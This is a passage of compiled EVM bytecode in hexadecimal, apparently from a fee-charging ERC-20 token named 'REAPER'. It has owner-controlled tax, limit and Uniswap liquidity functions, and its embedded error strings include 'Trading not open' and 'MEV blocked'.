ffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109e89190613e7c565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610a74848484612404565b90509392505050565b6000600260019054906101000a900460ff16905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1990613efc565b60405180910390fd5b6001601160016101000a81548160ff02191690831515021790555060648260ff161115610b84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7b90613f68565b60405180910390fd5b600060648360ff16600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bd69190613dce565b610be09190613fb7565b90506009600a610bf09190613d83565b811115610c0157610c0081612990565b5b8115610c5a57600047905060008111610c4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4690614034565b60405180910390fd5b610c5847612baf565b505b506000601160016101000a81548160ff0219169083151502179055505050565b60006009905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0890613efc565b60405180910390fd5b600060016103e88461ffff166009600a610d2b9190613d83565b620f4240610d399190613dce565b610d439190613dce565b610d4d9190613fb7565b610d579190614054565b9050600454811015610d9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d95906140d4565b60405180910390fd5b80600481905550600060016103e88461ffff166009600a610dbf9190613d83565b620f4240610dcd9190613dce565b610dd79190613dce565b610de19190613fb7565b610deb9190614054565b9050600554811015610e32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2990614140565b60405180910390fd5b8060058190555050505050565b6000600654905090565b6000600260009054906101000a900460ff16905090565b6000600754905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ef8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eef90613efc565b60405180910390fd5b600a8183610f069190614160565b60ff161115610f4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f41906141e1565b60405180910390fd5b81600260006101000a81548160ff021916908360ff16021790555080600260016101000a81548160ff021916908360ff1602179055505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611012576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100990613efc565b60405180910390fd5b808061101b5750815b156110ae57601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156110ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a49061424d565b60405180910390fd5b5b81600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060028054906101000a900461ffff16600260049054906101000a900461ffff16915091509091565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b090613efc565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163600060405161132a9190613ab8565b60405180910390a1565b6000600260089054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f5245415045520000000000000000000000000000000000000000000000000000815250905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149f90613efc565b60405180910390fd5b8263ffffffff168463ffffffff166009600a6114c49190613d83565b620f42406114d29190613dce565b6114dc9190613dce565b6114e69190613fb7565b6006819055508063ffffffff168263ffffffff166009600a6115089190613d83565b620f42406115169190613dce565b6115209190613dce565b61152a9190613fb7565b6007819055506006546007541015611577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156e906142b9565b60405180910390fd5b620186a06009600a6115899190613d83565b620f42406115979190613dce565b6115a19190613fb7565b600754116115e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115db90614325565b60405180910390fd5b60646009600a6115f49190613d83565b620f42406116029190613dce565b61160c9190613fb7565b6007541061164f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164690614391565b60405180910390fd5b50505050565b600061166033612329565b61169f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169690613e5c565b60405180910390fd5b6116aa338484612404565b905092915050565b6000600454905090565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c890613efc565b60405180910390fd5b6001601160016101000a81548160ff021916908315150217905550600073ffffffffffffffffffffffffffffffffffffffff16600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461187d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611874906143fd565b60405180910390fd5b601160009054906101000a900460ff16156118cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c490614469565b60405180910390fd5b60003411806118dc5750600047115b61191b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611912906144d5565b60405180910390fd5b6000600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541161199d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199490614541565b60405180910390fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a2e9190614576565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ab7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611adb9190614576565b6040518363ffffffff1660e01b8152600401611af89291906145a3565b6020604051808303816000875af1158015611b17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b3b9190614576565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611bc6600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054476000612c1b565b60085460096000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c399190613e7c565b925050819055506000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527ffff6cae9000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051611d0b9190614613565b6000604051808303816000865af19150503d8060008114611d48576040519150601f19603f3d011682016040523d82523d6000602084013e611d4d565b606091505b5050905080611d91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8890614676565b60405180910390fd5b8060106000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611e12612d09565b506000601160016101000a81548160ff021916908315150217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611ebe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb590613efc565b60405180910390fd5b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f625750601060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611fa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f98906146e2565b60405180910390fd5b81600260086101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215c90613efc565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163816040516121d49190614761565b60405180910390a150565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461226d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226490613efc565b60405180910390fd5b6000818361227b919061477c565b905060008161ffff16116122c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122bb906147fe565b60405180910390fd5b82600260046101000a81548161ffff021916908361ffff160217905550816002806101000a81548161ffff021916908361ffff16021790555080600260066101000a81548161ffff021916908361ffff160217905550505050565b6000600554905090565b60008060009050601160009054906101000a900460ff161561234e57600190506123fb565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156123f05750600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156123fa57600190505b5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603612474576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246b9061486a565b60405180910390fd5b601160009054906101000a900460ff1661256a57600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561252a5750600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612569576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256090613e5c565b60405180910390fd5b5b601160019054906101000a900460ff161580156125d05750601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156125de576125dd612df1565b5b600154431080156125f157506003544310155b80156126465750601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156126ba573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146126b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b0906148d6565b60405180910390fd5b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561272257503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561277a575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156127ca5761278a848484612ff9565b6127c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127c090614942565b60405180910390fd5b5b60006127d7858585613190565b9050600081846127e79190613e7c565b905083600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128349190613e7c565b600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600860008282546128899190614054565b9250508190555080600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128db9190614054565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161297b91906137fa565b60405180910390a36001925050509392505050565b61299981613440565b6000600267ffffffffffffffff8111156129b6576129b5614962565b5b6040519080825280602002602001820160405280156129e45781602001602082028036833780820191505090505b50905030816000815181106129fc576129fb614991565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612aa3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ac79190614576565b81600181518110612adb57612ada614991565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612b79959493929190614ab9565b600060405180830381600087803b158015612b9357600080fd5b505af1158015612ba7573d6000803e3d6000fd5b505050505050565b600260089054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612c17573d6000803e3d6000fd5b5050565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508115612c4d57600090505b612c5684613440565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308760008087426040518863ffffffff1660e01b8152600401612cbd96959493929190614b13565b60606040518083038185885af1158015612cdb573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612d009190614b89565b50505050505050565b606460016009600a612d1b9190613d83565b620f4240612d299190613dce565b612d339190613dce565b612d3d9190613fb7565b600481905550606460016009600a612d559190613d83565b620f4240612d639190613dce565b612d6d9190613dce565b612d779190613fb7565b6005819055506001601160006101000a81548160ff02191690831515021790555043600381905550600060179054906101000a900460ff1660ff16600060169054906101000a900460ff1660ff16600354600154612dd59190614054565b612ddf9190614054565b612de99190614054565b600181905550565b6001601160016101000a81548160ff021916908315150217905550600060085490506006548110158015612e315750601160009054906101000a900460ff165b15612fdb576007548110612e455760075490505b600060028060069054906101000a900461ffff1661ffff16600260049054906101000a900461ffff1661ffff1684612e7d9190613dce565b612e879190613fb7565b612e919190613fb7565b905060008183612ea19190613e7c565b90506009600a612eb19190613d83565b811115612fbf57600047905083600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612f0c9190614054565b92505081905550612f1c82612990565b8360086000828254612f2e9190613e7c565b9250508190555060008147612f439190613e7c565b90506000600260049054906101000a900461ffff1661ffff161115612fbc576000600260069054906101000a900461ffff1661ffff16600260049054906101000a900461ffff1661ffff1683612f999190613dce565b612fa39190613fb7565b9050612fae85613440565b612fba85826000612c1b565b505b50505b60004790506000811115612fd757612fd681612baf565b5b5050505b506000601160016101000a81548160ff021916908315150217905550565b60008060019050601160009054906101000a900460ff1680156130665750600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156130bc5750600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613185576004548311156130d45760009050613184565b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015613179575060055483600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131779190614054565b115b1561318357600090505b5b5b809150509392505050565b600080601160009054906101000a900460ff1615806131f85750600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061324c5750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561325a5760009050613435565b601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156133b457600060179054906101000a900460ff1660ff16600060169054906101000a900460ff1660ff166003546132df9190614054565b6132e99190614054565b4310613320576064600260009054906101000a900460ff1660ff168461330f9190613dce565b6133199190613fb7565b90506133af565b600060169054906101000a900460ff1660ff166003546133409190614054565b4310613377576064600060159054906101000a900460ff1660ff16846133669190613dce565b6133709190613fb7565b90506133ae565b60035443106133ad576064600060149054906101000a900460ff1660ff16846133a09190613dce565b6133aa9190613fb7565b90505b5b5b613434565b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613433576064600260019054906101000a900460ff1660ff16846134269190613dce565b6134309190613fb7565b90505b5b5b809150509392505050565b80600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015613627577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60405161361e91906137fa565b60405180910390a35b50565b600081519050919050565b600082825260208201905092915050565b60005b83811015613664578082015181840152602081019050613649565b60008484015250505050565b6000601f19601f8301169050919050565b600061368c8261362a565b6136968185613635565b93506136a6818560208601613646565b6136af81613670565b840191505092915050565b600060208201905081810360008301526136d48184613681565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061370c826136e1565b9050919050565b61371c81613701565b811461372757600080fd5b50565b60008135905061373981613713565b92915050565b6000819050919050565b6137528161373f565b811461375d57600080fd5b50565b60008135905061376f81613749565b92915050565b6000806040838503121561378c5761378b6136dc565b5b600061379a8582860161372a565b92505060206137ab85828601613760565b9150509250929050565b60008115159050919050565b6137ca816137b5565b82525050565b60006020820190506137e560008301846137c1565b92915050565b6137f48161373f565b82525050565b600060208201905061380f60008301846137eb565b92915050565b60008060006060848603121561382e5761382d6136dc565b5b600061383c8682870161372a565b935050602061384d8682870161372a565b925050604061385e86828701613760565b9150509250925092565b600060ff82169050919050565b61387e81613868565b82525050565b60006020820190506138996000830184613875565b92915050565b6138a881613868565b81146138b357600080fd5b50565b6000813590506138c58161389f565b92915050565b6138d4816137b5565b81146138df57600080fd5b50565b6000813590506138f1816138cb565b92915050565b6000806040838503121561390e5761390d6136dc565b5b600061391c858286016138b6565b925050602061392d858286016138e2565b9150509250929050565b600061ffff82169050919050565b61394e81613937565b811461395957600080fd5b50565b60008135905061396b81613945565b92915050565b60008060408385031215613988576139876136dc565b5b60006139968582860161395c565b92505060206139a78582860161395c565b9150509250929050565b600080604083850312156139c8576139c76136dc565b5b60006139d6858286016138b6565b92505060206139e7858286016138b6565b9150509250929050565b600080600060608486031215613a0a57613a096136dc565b5b6000613a188682870161372a565b9350506020613a29868287016138e2565b9250506040613a3a868287016138e2565b9150509250925092565b600060208284031215613a5a57613a596136dc565b5b6000613a688482850161372a565b91505092915050565b613a7a81613937565b82525050565b6000604082019050613a956000830185613a71565b613aa26020830184613a71565b9392505050565b613ab281613701565b82525050565b6000602082019050613acd6000830184613aa9565b92915050565b600063ffffffff82169050919050565b613aec81613ad3565b8114613af757600080fd5b50565b600081359050613b0981613ae3565b92915050565b60008060008060808587031215613b2957613b286136dc565b5b6000613b3787828801613afa565b9450506020613b4887828801613afa565b9350506040613b5987828801613afa565b9250506060613b6a87828801613afa565b91505092959194509250565b60008060408385031215613b8d57613b8c6136dc565b5b6000613b9b8582860161372a565b9250506020613bac8582860161372a565b9150509250929050565b6000613bc1826136e1565b9050919050565b613bd181613bb6565b8114613bdc57600080fd5b50565b600081359050613bee81613bc8565b92915050565b600060208284031215613c0a57613c096136dc565b5b6000613c1884828501613bdf565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115613ca757808604811115613c8357613c82613c21565b5b6001851615613c925780820291505b8081029050613ca085613c50565b9450613c67565b94509492505050565b600082613cc05760019050613d7c565b81613cce5760009050613d7c565b8160018114613ce45760028114613cee57613d1d565b6001915050613d7c565b60ff841115613d0057613cff613c21565b5b8360020a915084821115613d1757613d16613c21565b5b50613d7c565b5060208310610133831016604e8410600b8410161715613d525782820a905083811115613d4d57613d4c613c21565b5b613d7c565b613d5f8484846001613c5d565b92509050818404811115613d7657613d75613c21565b5b81810290505b9392505050565b6000613d8e8261373f565b9150613d9983613868565b9250613dc67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613cb0565b905092915050565b6000613dd98261373f565b9150613de48361373f565b9250828202613df28161373f565b91508282048414831517613e0957613e08613c21565b5b5092915050565b7f54726164696e67206e6f74206f70656e00000000000000000000000000000000600082015250565b6000613e46601083613635565b9150613e5182613e10565b602082019050919050565b60006020820190508181036000830152613e7581613e39565b9050919050565b6000613e878261373f565b9150613e928361373f565b9250828203905081811115613eaa57613ea9613c21565b5b92915050565b7f4f6e6c79206f776e65722063616e2063616c6c20746869730000000000000000600082015250565b6000613ee6601883613635565b9150613ef182613eb0565b602082019050919050565b60006020820190508181036000830152613f1581613ed9565b9050919050565b7f43616e6e6f742073776170206d6f7265207468616e2031303025000000000000600082015250565b6000613f52601a83613635565b9150613f5d82613f1c565b602082019050919050565b60006020820190508181036000830152613f8181613f45565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613fc28261373f565b9150613fcd8361373f565b925082613fdd57613fdc613f88565b5b828204905092915050565b7f4e6f204554480000000000000000000000000000000000000000000000000000600082015250565b600061401e600683613635565b915061402982613fe8565b602082019050919050565b6000602082019050818103600083015261404d81614011565b9050919050565b600061405f8261373f565b915061406a8361373f565b925082820190508082111561408257614081613c21565b5b92915050565b7f747820746f6f206c6f7700000000000000000000000000000000000000000000600082015250565b60006140be600a83613635565b91506140c982614088565b602082019050919050565b600060208201905081810360008301526140ed816140b1565b9050919050565b7f77616c6c657420746f6f206c6f77000000000000000000000000000000000000600082015250565b600061412a600e83613635565b9150614135826140f4565b602082019050919050565b600060208201905081810360008301526141598161411d565b9050919050565b600061416b82613868565b915061417683613868565b9250828201905060ff81111561418f5761418e613c21565b5b92915050565b7f526f756e647472697020746f6f20686967680000000000000000000000000000600082015250565b60006141cb601283613635565b91506141d682614195565b602082019050919050565b600060208201905081810360008301526141fa816141be565b9050919050565b7f43616e6e6f74206578656d7074204c5000000000000000000000000000000000600082015250565b6000614237601083613635565b915061424282614201565b602082019050919050565b600060208201905081810360008301526142668161422a565b9050919050565b7f4d696e2f4d6178206572726f7200000000000000000000000000000000000000600082015250565b60006142a3600d83613635565b91506142ae8261426d565b602082019050919050565b600060208201905081810360008301526142d281614296565b9050919050565b7f4d617820746f6f206c6f77000000000000000000000000000000000000000000600082015250565b600061430f600b83613635565b915061431a826142d9565b602082019050919050565b6000602082019050818103600083015261433e81614302565b9050919050565b7f4d617820746f6f20686967680000000000000000000000000000000000000000600082015250565b600061437b600c83613635565b915061438682614345565b602082019050919050565b600060208201905081810360008301526143aa8161436e565b9050919050565b7f4c50206578697374730000000000000000000000000000000000000000000000600082015250565b60006143e7600983613635565b91506143f2826143b1565b602082019050919050565b60006020820190508181036000830152614416816143da565b9050919050565b7f74726164696e67206973206f70656e0000000000000000000000000000000000600082015250565b6000614453600f83613635565b915061445e8261441d565b602082019050919050565b6000602082019050818103600083015261448281614446565b9050919050565b7f4e6f2045544820696e20636f6e7472616374206f72206d657373616765000000600082015250565b60006144bf601d83613635565b91506144ca82614489565b602082019050919050565b600060208201905081810360008301526144ee816144b2565b9050919050565b7f4e6f20746f6b656e7320696e20636f6e74726163740000000000000000000000600082015250565b600061452b601583613635565b9150614536826144f5565b602082019050919050565b6000602082019050818103600083015261455a8161451e565b9050919050565b60008151905061457081613713565b92915050565b60006020828403121561458c5761458b6136dc565b5b600061459a84828501614561565b91505092915050565b60006040820190506145b86000830185613aa9565b6145c56020830184613aa9565b9392505050565b600081519050919050565b600081905092915050565b60006145ed826145cc565b6145f781856145d7565b9350614607818560208601613646565b80840191505092915050565b600061461f82846145e2565b915081905092915050565b7f4661696c656420616464696e67206c6971756964697479000000000000000000600082015250565b6000614660601783613635565b915061466b8261462a565b602082019050919050565b6000602082019050818103600083015261468f81614653565b9050919050565b7f4c502063616e6e6f74206265207461782077616c6c6574000000000000000000600082015250565b60006146cc601783613635565b91506146d782614696565b602082019050919050565b600060208201905081810360008301526146fb816146bf565b9050919050565b6000819050919050565b600061472761472261471d846136e1565b614702565b6136e1565b9050919050565b60006147398261470c565b9050919050565b600061474b8261472e565b9050919050565b61475b81614740565b82525050565b60006020820190506147766000830184614752565b92915050565b600061478782613937565b915061479283613937565b9250828201905061ffff8111156147ac576147ab613c21565b5b92915050565b7f416c6c2063616e6e6f7420626520300000000000000000000000000000000000600082015250565b60006147e8600f83613635565b91506147f3826147b2565b602082019050919050565b60006020820190508181036000830152614817816147db565b9050919050565b7f4e6f207472616e73666572732066726f6d205a65726f2077616c6c6574000000600082015250565b6000614854601d83613635565b915061485f8261481e565b602082019050919050565b6000602082019050818103600083015261488381614847565b9050919050565b7f4d455620626c6f636b6564000000000000000000000000000000000000000000600082015250565b60006148c0600b83613635565b91506148cb8261488a565b602082019050919050565b600060208201905081810360008301526148ef816148b3565b9050919050565b7f54582065786365656473206c696d697473000000000000000000000000000000600082015250565b600061492c601183613635565b9150614937826148f6565b602082019050919050565b6000602082019050818103600083015261495b8161491f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b60006149e56149e06149db846149c0565b614702565b61373f565b9050919050565b6149f5816149ca565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614a3081613701565b82525050565b6000614a428383614a27565b60208301905092915050565b6000602082019050919050565b6000614a66826149fb565b614a708185614a06565b9350614a7b83614a17565b8060005b83811015614aac578151614a938882614a36565b9750614a9e83614a4e565b925050600181019050614a7f565b5085935050505092915050565b600060a082019050614ace60008301886137eb565b614adb60208301876149ec565b8181036040830152614aed8186614a5b565b9050614afc6060830185613aa9565b614b0960808301846137eb565b9695505050505050565b600060c082019050614b286000830189613aa9565b614b3560208301886137eb565b614b4260408301876149ec565b614b4f60608301866149ec565b614b5c6080830185613aa9565b614b6960a08301846137eb565b979650505050505050565b600081519050614b8381613749565b92915050565b6000806000